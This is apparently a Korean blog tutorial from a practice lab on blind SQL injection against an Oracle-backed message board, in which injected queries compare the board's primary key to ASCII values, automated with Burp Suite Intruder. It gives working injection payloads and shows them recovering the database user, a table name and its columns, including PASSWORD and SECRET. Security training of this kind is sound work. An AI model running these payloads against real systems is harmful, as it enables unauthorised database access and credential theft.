Oh! JUN
Primarykey-Based Technique 공격 실습(feat.Burp Suite 자동화 도구 사용법) 본문
Primarykey-Based Technique 공격 실습(feat.Burp Suite 자동화 도구 사용법)
Kwon Oh! JUN 2022. 9. 25. 21:00
Primarykey-Based-SQL Injection이란 이름에서 예상할 수 있다시피 테이블 제작할때 Primarykey를 활용하는 방법이다.
해당 게시판에서의 PK는 idx이다. 공격 쿼리를 보면
' and idx=ascii(substr((select user from dual),1,1))-- |
PK = ASCII 대입시켜서 참인경우 게시물이 검색되는 방법을 활용한 blind 공격이다.
그러다보니 PK의 범위가 ASCII에서 특수문자+숫자+대문자+소문자가 포함되어 있는 범주인 32~126가 포함되어야 공격가능하다.
Burp 잡아서 ctrl + i 단축키 활용하면 Intruder로 넘어가게 되는데 clear § 누르고
여기서 반복되는 부분에 Add §를 두 번 추가하면 반복시킬 때 이 부분을 변수처럼 활용할 수 있다.
변수부분에 반복함수를 통해서 자동화 하는 기능!
payloads 카테고리로 들어가서 payload 타입을 숫자로 바꾸고 반복 범위를 정해줄건데
select user from daul 현재사용자 문자 개수가 14개니까 From 1 to 14이고, 1++ 해줄거니까 Step 1
option에서 Add하면 위에와 같은 창이 뜨는데 여기서 Refetch response 누르면 html코드가 뜨게된다.
여기서 idx에 해당하는 값을 드래그 매핑해주고 OK 누르면 된다.
그러면 반복 자동화 할때 idx가 바뀌는것을 확인할 수 있다.
start attack 눌러주면 반복실행을 하게되는데 1~14범위내에 해당하는 idx 값(검색되는 게시물 번호)을 확인할 수 있다.
idx 값을 chr() 문자형으로 변경하면 C##CREHACKTIVE 현재사용자를 확인할 수 있다.
다음으로 C##CREHACKTIVE의 table_name을 구해볼것이다. (1열)
' and idx=ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),1,1))-- |
TB_BOARD 테이블의 Column을 구해보자
' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=1),1,1))-- |
컬럼 구해보자 | ||
' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=1),1,반복변수))-- | 73, 68, 88 | IDX |
' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=2),1,반복변수))-- | 84, 73, 84, 76, 69 | TITLE |
' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=3),1,반복변수))-- | 67, 79, 78, 84, 69, 78, 84 | CONTENT |
' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=4),1,반복변수))-- | 87, 82, 73, 84, 69, 82 | WRITER |
' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=5),1,반복변수))-- | 80, 65, 83, 83., 87, 79, 82, 68 | PASSWORD |
' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=6),1,반복변수))-- | 83, 69, 67, 82, 69, 84 | SECRET |
' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=7),1,반복변수))-- | 82, 69, 71, 68, 65, 84, 69 | REGDATE |
'웹 해킹 > SQL Injection' 카테고리의 다른 글
INSERT, UPDATE, DELETE 구문에 대한 데이터 조회 공격 기법 (0) | 2022.10.01 |
---|---|
그룹핑을 활용한 데이터 조회 공격 (0) | 2022.09.29 |
Multiple Search Technique-3 공격 실습(Content-Based SQL Injection + Response-Based SQL Injection) (0) | 2022.09.24 |
Multiple Search Technique - 1 공격 실습 (0) | 2022.09.24 |
Heavy Query Technique을 이용한 Time-Based 공격 (0) | 2022.09.20 |